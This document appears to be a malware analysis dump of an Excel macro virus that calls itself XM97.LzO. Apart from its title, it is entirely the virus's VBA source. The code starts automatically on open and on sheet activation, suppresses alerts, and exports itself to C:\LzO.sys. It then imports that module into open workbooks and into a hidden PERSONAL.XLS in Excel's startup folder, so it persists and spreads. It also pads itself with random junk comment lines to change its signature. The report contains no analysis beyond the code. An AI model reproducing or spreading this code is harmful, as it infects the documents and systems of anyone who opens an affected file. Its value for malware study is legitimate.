Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "LzO"
Rem ToRqIsJuRjTwPq
Rem DmFmCmDk
Rem VtKmKkOyMqTqIqJxLj
Rem IpEiSpPqTnRxCvCoTqJyDvLgRxKxTyJwFqAlMrKwHpDpIqPu
Rem FxAvPxGjVpTsMyCjKuCuJyRyJeSxFjTzOmIrHlFuMsUyTmSrTgSpLsDnPfGlRhOjLgQiKgHp
Rem StIkMtUeIzFqTsIvHhPwAvJlQlGnNmIiSmGnIlKo
Sub Auto_Open()
Rem ReVvUfEnUfEmCzOnQeOrAfErEtUyOpVqPqDyHeMwGnEyLnSmJx
Rem OfKsBkMzMyBhCmHjKxVnVvElTs
Rem Ry
Rem BwLeGiSwHzInMrJxAtDpEkGlGiFtDpPoUjAuVrHuNiKfMrMeIzNlIpGhIlCeEhAoCj
Rem AzBfOvHfLtCmNeNqIwPfUqNsLuGf
Rem NwRuAmBjOjNrGuDyKtKfRfCnKwPqIrHrSqKkBuMwTq
Rem FvKxLuUwJfUeRkDxFfDsStMoInDiRwKzOuNmDuDtGrLoDtHjPtJvLiNhVn

Rem BuOzAqIoOkGlQyPrDxQhDoLiPkQj
    ' -= [LineZerØ's Macro Engine 1.2] =-
Rem KeBiLhOpEkRrAeSiHgBlKvTyQt
Rem OsEvQuHqFwKlTmGeCjOmVeQsDgAgCnLgQeReAmLzDoTjQnPlFjGgUfEkPfLwLoClPyFuAy
    ' -= [XM97.LzO] =-
Rem SkIiPzSwIeFoTvTyHlEsAvSnEkPxHyHpTiKtPlEl
Rem MvRvMgCtEpDxJuUeJmSqAvVpJlDo

    ' -= [ID: 27596-Cn-58819312-Uf.X] =-
Rem IzRwGmVzSfOmIqRsRnQnFrVwSnUxUjGoCfMoGqKfSlFnJnMnPxDxGzLxIjPmAhPf
Rem BoIxIyPgLlBlUlRmSjArEiPrNmKrLtKrSlNnPgNiKpEyVmIt
Rem VeLnSrRnLuIsSzIjOrVwAfNpTsShMwAoDkOgGoLiHtOwItSk
Rem JnPfAl
Rem SnKiIhChPwThEsDtApDnOqAfRsMgPiVp
Rem PjJjVyGyGoVyPjGqSmCgVyDmIvSkTrKo
Rem LmGlTtVnIzVwGpJnRrEsNoRoGeFfAsSoHrDrNxJnGlDqTgUxIfHrDyNnReVhFgKiJnCyRhGmHyDm
Rem DnPhOhCtJsFuUeFlPeGjGyAgRlTnImDsHzNlUyCwEkTyEeLeFfPnNjQvLfTfBzHkUrSkOuKvQyQp
Rem HyNrRlCrPqIfBnQhSxTqEoFfAqNjGfOuBkCiSlBiLjHuKvIqEpFhKsQrTuDfDjSgLp
Rem FrKhIfBnCsGzPwHpRlPsSfUmGiSkMqRpRjFt

Rem GhAeHkSuQrHrQtAsTeArRpBg
Rem LxSqSmHwFfBpUwQtCwJkEuHkBqPfJzAfRwDvHh
Rem OjFzRsIzAnQrRkAmBwUvPqUtJtEiAlCrMwJwFsHw
Rem QpTw
Rem JmOyOzJzGwGiDeRjFwExOzOmPzIn
Application.OnSheetActivate = "CrI9435"
Rem UoSuSoDfDmCqMzFwGrPrBgVoFkNmInJeRjRoOxCmDoSzQoGuGtFeMo
End Sub
Rem GoJzTvJsDg
Rem AhRl
Rem QxCuAeLzApUpKmDvJkFkQtVnJeGlHxGnCrDmMoKmRlBvEmJoGmCjVeVvPmPlSzNhPwSwQsPjCtVl
Rem BsIwBgThNtHpCxJjQiUuNoAuGkRyJzHnRwIxGiCxSlIhIe
Rem VvLySoVlJhVtFhFwToKh

Rem BjEhNnHkNvAqOkPeDxCyEyDrDnOeFyDfJjQqKuKhLtStNeMsKg
Rem LhGiGkJoCnHlJqHvCpBnUeDlOyNjIfUwBrCtEnByTjFpVkQsTzUrAeLj
Rem VvFgFyVtLfFj
Rem KgKzLhTtLkBzRmDsImCgKwEoAqRjPnFgUuJwIoTxNgVq
Rem CsGwGlIzJvSmQeOfAjPf
Sub CrI9435()
Attribute CrI9435.VB_ProcData.VB_Invoke_Func = " \n14"
Rem NsReIsGsEsAwRnHqQkItEoQyStQrBeJeMyOx
On Error Resume Next
Rem IvMiVgIiPfQoMpVuCiDmQfVgUqLqVoUrRrKoEjQkDiDzLzTjRhOvLfDgHwKzUjUv
RfUqOu6833 = "LzO"
DfEnCh9435 = "PERSONAL.XLS"
Rem MfVkElHwJuAeLqBtUmPyKjEeTvApPzAwAtKwCyLuLfPkGlAkLwUeBiQo
LlFoLn5881 = Application.StartupPath & "\" & DfEnCh9435
EyNwIy2968DfEnCh9312 = 0
Rem SuSqLiNeGpCuTgHrVsDkVnDiMpLhJv
TnPwBs9435RfUqOu5881 = 0
Rem VfDqFoJjDrGvDhAgNwEwGlCpRsDrCrBgBvRwDkCyHlVoPrQiKkBgFsInOyLs
With Application
.StatusBar = "XM97.LzO"
.ScreenUpdating = False
Rem KgKzPxDrNoPlMgLkRyKmIiVz
Rem QyAiBeReAnSmAvHuBqVkMoBsGjKnRxAiOsHrLyKxUw
Rem BuJsIvEqBwKnAlGuUpGyEnLoQtHfBsUp
Rem PiHgKuVlRi
Rem QjNrKiCmEmTjLeAhStNkRyLmFpIfVnMpFwPoDmEjJuGlJpBzJzSf
Rem IhTjPhKjQyUsNfJhDvShKpVxCsCnDtFlAmQfSoFfSiSwGuGoIgAjLfLpUqBeGgKhRv
.DisplayAlerts = False
.EnableCancelKey = xlDisabled
Rem AuHlEpMpEwNwDkAwNtPuGnDwDpGrQyJsTfJhFlDnPoCwKlNuRvPhOfSeAiJmAuUiNuUyHgPeLvQyIy
Rem VoUvBmVoQnBrViBhSgQhNuBrStCnMjUgHtBrPvNyMkOn
End With
Rem FmUxPrAlUlBqBgKzAfUvDfAyNiUkOf
Rem CfJsOuOsVmTkTyJlNsHzJrBpEzKkNf
 'This is an improved version of APMRS called SOPS by me :)
Randomize
Rem BsRmVu
Rem PuDhLkCxMvApOxFwReQoGfPqMoBvMlOgIgFoVyVkJfFjBxLoEmMzTyUzVkMhLvTmGxUo
Rem IuMtPmRfByUxReAm
Rem Nf
ActiveLines = Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule.CountOfLines
If ActiveLines > 300 Then
Rem UpUwQkEhMiTv
With Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule
Rem RqFqBwPoQoOlImIoAvGxQhExLqVnFySiCeQpEiHeFyHuQwMsHzMfFlUrGpSlRtOeBySxRr
Rem KwAfImIuPzDgUvCnHjNyHmQjFyQjHhMwSpMnKzQgFhAv
Rem JwPrBzQnDvAq
For TheLine = 1 To .CountOfLines
Rem DlGnQeHsQtLlLzMeHoMyLwFvLg
Rem KpNwFhMsTiMfHpGhQxAfAuGsDeRzSiEmUuQvMsQiHlGiNv
Rem BfDpMpQlMxAuOxHhQeRmEoPvNeKyRyIkQgElBnHzRsTuUgKgUzNyVrDkMmCsIoPeLgJo
Rem QuVkUsCrRtCsKnEvKeBjTuCvArGvKjEmChHnLfJtMsKqKl
Rem PuLrOpOyRfDyJqKjQjEhTsQiQoTnUjCpPvNpKkTlKlKkNrDtMgTiGrMyLj
Rem FoBqKtUpKyCpDuCwHxMgEfGn
Rem PfOmRzCzOkPiUvNvMzIpIiDiGqJiEqOiNmKlFfUzCjFwPzIgHwHySj
Rem LiMiStUsMvGwRlOwNyVkPzTeHwSpQvPfOhCsUgMuOkLrIwPnPzUnTfRlDyTeMmElTgRnDqOg
Rem VvQtUsMsIpUuAlKnOpHrDtDpNfErPpDgHsMiKmBiInMlVo
If Left(.Lines(TheLine, 1), 3) = "Rem" Then .DeleteLines TheLine
Rem RqIoRgBnKlIjRuCpBxReGpQfVvNoVgMiTt
Next TheLine
Rem PiOsDeTtKnPkAfQsUeIzIoKzBjIgTvJpUzLxNxPuGyLvOjEeAjGhGpJmOz
Rem HhEoVyGuQeBgPyFgAwAxChKxDhCnThAu
Rem QvDlPgQtRiNrTgSsFtEhJfVlOsLkTzPxBpQzJvHvIrVeGxKlTkTeKpKfRrCmUnUlNuUkKiGv
Rem KzLeNpKuLgFvSnTmAtCzOlDkShQeTvNlDk
End With
Rem CuFkThPmEiHoNoRjGsNtRfVtRuMuFrUeSsVuOe
Rem KjDpTe
Else
Rem KvDyIyDqIePrGtToCqUvMgNpIhNeGhRoTmVqToNoRiHyIsPuDmNmCfJeMgSnUfLxMoMkBuMqAuJn
Rem NgVmOlUxGkGjLgGrCxVqVpUmIoIfRiIlJjJxQiAxOk
Rem MrKwHy
Rem TxGpDyJxDoQwDqTgCuKwInCrIhAzMyExRtTfReDrTmSyCkOhIzLeByHhPk
Rem VoGiEeOgVfFgRrKiJoUePmFrIiIsNuVyGiSyTnAvLhUqCrOmVhMoLrHuJjBkPoKpFsTzQi
Rem MiMfGnKgLiGtFxKoEnDnCiShQeBjLmVeCgDiRi
Rem HeIsFhUtUlLg
Rem HjPiPoTwDeIqMoRuGyGmOjDrKvJgVkBeAhBwIsAyJxAwBlKiPnKxUtGfUrEyIkHpQzEqLeUe
With Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule
Rem DtMiUpUxViMmOwIk
Rem FpDyPpBjUsFsFnHgEeGiKsAvNrTtNiPoCyPtKh
Rem FgSjJfAs
Rem GfAfCoKuFzJtEmTiFiHrNkVhLyPuThElVkNgJwNlPiAhEoGxKqHlAiTpJyOqDmDyDyKw
PolySize = Int(Rnd * 10)
Rem IhShCeHmBlCpMrPpDeCyJvFtBjJq
Rem GrBtFwDtBlBlSuTsHzUoBvOhAtUhBvDyJhGyMoJoUvAxMnGyHnVoRgVlGuQuBu
Rem ItKgVgUpOjTiTpQmTnNjHgRwPuNxKwIlTzOtRrQgQpNeMwNxPgDjJyPeQjBj
For PolyMorphic = 1 To PolySize
Rem Ll
Rem AnPmOqBgAjNiUnCmRtCuEsEpDfMqMwOvIsFf
Rem SiMtTiHlTjVlIySjFvMmTeHv
Rem AsCoGoUmSjDpSyGfVpSfJxDmPtPgIvMhCnCjBkStKiRjIp
Rem NuTnGqVnLvMmHzJuVgUpFjOkKwDrLtDvSvAwGyHlMxSkLpHpFrMtOl
Rem KvSwLtIuAiEeJnUxGmIyQoAuDlRmHhGuGtUlHkOgTkPgKrQmUrDiOjMv
Rem FmVnJjSoBvJuRiMvQk
PolyString = ""
PolyLines = .CountOfLines
Rem BmNlHsBlOgIuNvCxDtAtJpMnTtOkLmLtLnUtBo
Rem TfVzSrFlCnRkTrBkJuUzFtCvUlAlVuAtHlNp
Rem HpNlStPxMzVrOzLvAePkRxFnRpEeGgKeAlGzKz
Rem FtBzOnTkGhRyVqFyBxOiGpRvTlMeQlSkGuQvAmFuQuKrRjCwQtGsEzEiRiOvLsGwJtJiIeTvDeIq
Rem RsEgRrTsFhPiCnNvUuInVzJr
Rem CyBuJwCjHpDnHtFiEsQi
Rem JoDhHhFnMrLrGgThMzRpUiJiGkQw
RndLine = Int(Rnd * PolyLines) + 1
Rem PpOqVjThQfSoIuTjLpGmFmSzBrJeEgIy
Rem NvLgTgDxChPlFtEhQj
Rem GmPrOuQwJoHlPxRyMqIiBxUiImHmSnOpTlEjMsBpSkSu
Rem GuNsOrJsKlMuBwPnGuEk
Rem CoQqIyVnVrApFxNoUkAwTmIvOhEpRjVhUyEy
Rem EoBz
Rem LeMvIvPpPw
Rem LvIwBrGsInVgGqQeChBvAiNkFzFfIoLsQkEm
Rem JhEgJyKoDfRxBlNxBkJkHhGnIeHtAgKi
Rem JiOnPwCnThCzHyVeBqGiOhUfLqJk
StringSize = Int(Rnd * 39) + 1
Rem RuTmDrCzQzVqApMtPpNwDsHqKsTtPr
Rem SfNhUxVsVjEmGsVhIeJoKlUkDzSsMtQkLnRrDyJuLxBfPfLvFiEf
Rem IuLoRpOvDjTvBuRnAjPhKlFkSzCnChCmCmIgUsAfJrNuFgMpTrArDnQm
Rem IjTnDkHpVhLtNkNeMzGtRyLgQuTtChHoBuNjKyKtQeUlKtQtUvCgBxSj
Rem NmMsNuJfReEnDoBkRlQeJm
Rem NuOzOm
Rem RnMxBfDqDeIpRzUoAqLwSjElIsApVkVvRhBqMwOqNw
Rem PuNxNqJmMsOmQpEeRxLzFnBjCjDhAwAt
Rem LgVmNiStVjAeMuAgImQxMmHvCkBfGsUuQi
Rem SqGpOxItEmHzGhMtIqNnExIeRiTwOtJp
Rem DwSoJwUo
Rem MmGmNjDzFrQwOvQvIsIuQvKtUeBjUzDuFgPnVxSm
Rem CvNeAoCuBzCvInTfGjQsMoAeGhQgRwSeRpBmUtHvIvNr
Rem RwGkNpFtQtFuHmGqDrNeJsVvNwKeSfAxFnQvNeCoKzNmCfKtFzUfMnHwPjTvNrJqOtKyQrMu
For SomeString = 1 To StringSize
Rem MjKnVpOpHpNkKhPqPzOrPjNvGfFz
Rem RjPkHyDvOxEoEzPrQtOhVuDoOuMrRlUpFnNhKwAyLzVgEzBkRe
Rem QnVuCfUqLlPzBoSgSzChRxHgRgSsCnKiQjTjJyUyPiFgEfJiDrEvHjMz
Rem ThPtQkAfBfOzCtNtDeGrPf
Rem JrFwFyTmFrMvSlOvIkLkLnNeMgHjMoVkFyAkFwFmBnVhIjJzLoLj
PolyString = PolyString & Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22))
Rem JwRzNhMqDxBvNhTzIzTsQtLnVePlThBjNvVtFkJtIeOiKxGkIjQjKeNjTgQxRwBjFzDgBuNrClAr
Rem PzEpPeFmRrNtPyNqDxAqNjLxBvExFqIuFnPsCgKuQhFuEm
Next SomeString
Rem KtUxOtMpSxFsCxFmKjJzOqTtCqDeExLeTvUhHhLyVwVnSjVmVeOiFiKoInPpFqHrFpCuFgEmJrIxSh
Rem MeBiOrTuTxTzKvJoVhItAhSsLpRtSsSuLjRoVxPhPgVjKqTtAqFk
Rem JvOzHmDqIwVvTuBuCjBkJuOhPoUvGzNjVxAlDwKeJgViHvAnIvTlHwTxOvBfHgCvVxHjRo
.InsertLines RndLine, "Rem " & PolyString
Rem SoMzSzSfEjKfMfJhNpQyNiEgVkVuBfQjNlTkRvBjBsVqAq
Rem LzGrDlAmKfReQtFs
Rem IkFwDtCfQiTlLeCxCjIkEfTtMfBkKmOuHhQhHhGhMgVkMqTsNqUoOkCs
Rem BlDkAvJsSiDfNfKfJnMy
Next PolyMorphic
Rem DfSlAuJjMs
Rem Ez
Rem KkQkAtOuSlFoBzHwNvNvDjQjIx
Rem KoReEuVkOsPmLfQn
Rem MeLxJzAfGeMvStAuVlCoNrCxDlMvTwKmKzKuCfLfPoQwFxKfOrLqLjRkKnFfOfPwGqKpPs
End With
End If
Rem GmCfIuGwNzDnMyQmDnMqEsVrRgChLePgDgMkLpAzSxNjNuCfVnVzUuNtUhEnVoVyLgAjCnEjPqRg
'If Day(Now()) = 1 Then
'MsgBox "Greetz to the local Vx !", vbOkOnly, "LzO"
Rem CpTmNoNrSnMlBgOzTjDlElFvEePxTkDzPjTpIeAgVeNlMhDkNtJuUhNn
'End If
Rem QtIrSjFzKjRwEtCtJkQx
Application.VBE.ActiveVBProject.VBComponents.Item(RfUqOu6833).Export "C:\LzO.sys"
If Dir(LlFoLn5881) = DfEnCh9435 Then TnPwBs9435RfUqOu5881 = 1
For x = 1 To ActiveWorkbook.VBProject.VBComponents.Count
Rem FuNqFsEx
Rem GwIeKnAvRhQtOhCrDqGpIrMwBm
Rem OsAeLvFiOnHoNwDmFtCjTuStKhTqIlDlOe
Rem TnKxJpBu
Rem RrQjJt
If ActiveWorkbook.VBProject.VBComponents(x).Name = RfUqOu6833 Then EyNwIy2968DfEnCh9312 = 1
Next x
Rem CwMfLuLnFjPnEwRmFmOrFvKtLtKjTuSsIq
If EyNwIy2968DfEnCh9312 = 0 Then
Rem CvThPzTqGnIhPmRuQmNiNvOoAxKtCuHyAeVxIlVxInIlQeHgFtBpCeIgIySkJsRoAjHkFfLkDgSq
ActiveWorkbook.VBProject.VBComponents.Import "C:\LzO.sys"
Rem GuIoKjSnJlCvKzOmFyVzIgErGwHs
Rem OgEqRqDyNjVkPhRzQvPhUjBxKpEjGyKxCfAnRvLuNoNwFrUkPrCi
Rem EnJtOuOzIjEtIjMrLzLuVzGuIfGvViUgJwSrDsHwSzQhAkPhLeAiFqDsAvTtDiBePfVlIl
Rem IfVyLlJjLlTuGnOz
ActiveWorkbook.Save
Rem AoQqLyGjOuCsFkJgKfFgUuNyVpUoNgVmAhQh
Rem TkDiUoEtOgPnRgAzKgSuEkQhMmLtGuBuUsEhDlHnVpHw
Rem MzLfQySkFgJyCiHnVvKrBlDsKsAqJmTgFzHj
Rem TrKrEsNjOkCzVmTmTePsBqIqVmMfKnNsAkUnBmDeKnHfJkGvKxIyViIsKlTjPqJi
Rem AoTpUjOfQzRmJwIlHoEpAyAx
Rem TfQqExQwJh
Rem IrJtTyPnHoDiOqAlBhMrJpPyEmAyIgUsQnUpGzFk
End If
Rem PfCvKnLe
Rem LtMvIqIrGrJoEyLpFoLqNfLs
Rem Im
Rem CvLmUmCiViQzPrPqClQzIzKkDnIrUfMnPvGhQoCx
Rem HeKhJuVlHiSmBeIiHuNsFg
If TnPwBs9435RfUqOu5881 = 0 Then
Rem EvLrGnJnFrEgNkBxVkCxUtFpMyVeUhRlRiJmUnMgHwVnPzNvJgVoOtVxJkRjKjBj
Workbooks.Add.SaveAs FileName:=LlFoLn5881
Rem SeBsEsSgJtGoLrGySeAiFv
Rem PoOhQtQpNjMoVtEeSmUzCrCkTyHwIqUnPkJrNqMqGtJnToQmTvOtVeLnUzAsUtPwDfKsIgLsFw
Rem KvUyCyKnLpQqUoBvQkNpGySsJj
Rem EpVhQyCePsCgUsDjJiLyPpUqRyRfAyAfJfLnFo
Rem TiOxNpCqLrVvMsQvPfGnPlDuEjInKnMsIu
Rem TmUnFuCvJeOkLgMsRiNiSnRvDtTwRtLeMjCsCuJvLyAjDjIlMtTe
Rem MgUnNfKzDhCnOtDtRgKuRfTzNvGtMo
Rem EmSvGvStEuNeEqRlPyKgFtRnNyUxNiVtKyPjGsTqVqJpThFtMrBfStJnUrHrBpQmHz
ActiveWorkbook.VBProject.VBComponents.Import "C:\LzO.sys"
Rem KsPqPiGwIpHzBgEoPwFyBfHi
Rem LiFtMrQsVmAyMnBtQkVwUuExJzOpFtUkNeJoIvFjRgVh
ActiveWindow.Visible = False
Rem HtReNuSqQlLiInOrAn
Rem OgKzQwUh
Workbooks(DfEnCh9435).Save
Rem KgOhRkVzElPvTsBvNtBhEwPqEoCtMuFyDuHoPwJtQrVrKp
Rem LyPlDuGkMjTxElDrAuLqDoSz
End If
Rem AfOwAuFtIeLyJf
Rem NjDrMjTtOwMmVkQiDwOhHeEgCuEwUuUePvKrMpEmVoKg
Rem MuHyPuMtQqGpHuIiRzUgMlDgVlRuCzRxVgVgEfChIpJuGpAnCyRxMzIoVkNvCtCxGxVjTvBp
Rem PjEnJvGoEsQmSmFvPtThLyErVzRpFmCqUzJfGjDsKsHvDlGhPe
Rem TsVuAtFwCnAzCxCkImDkMhVlOhJqGpFyGeHuOrBy
Rem BuFpEjHoCyKyTyViMlNlQyQrMzApQtRqBkNuAeVyKuFzEnElTkFtBsGlRvShUhDl
End Sub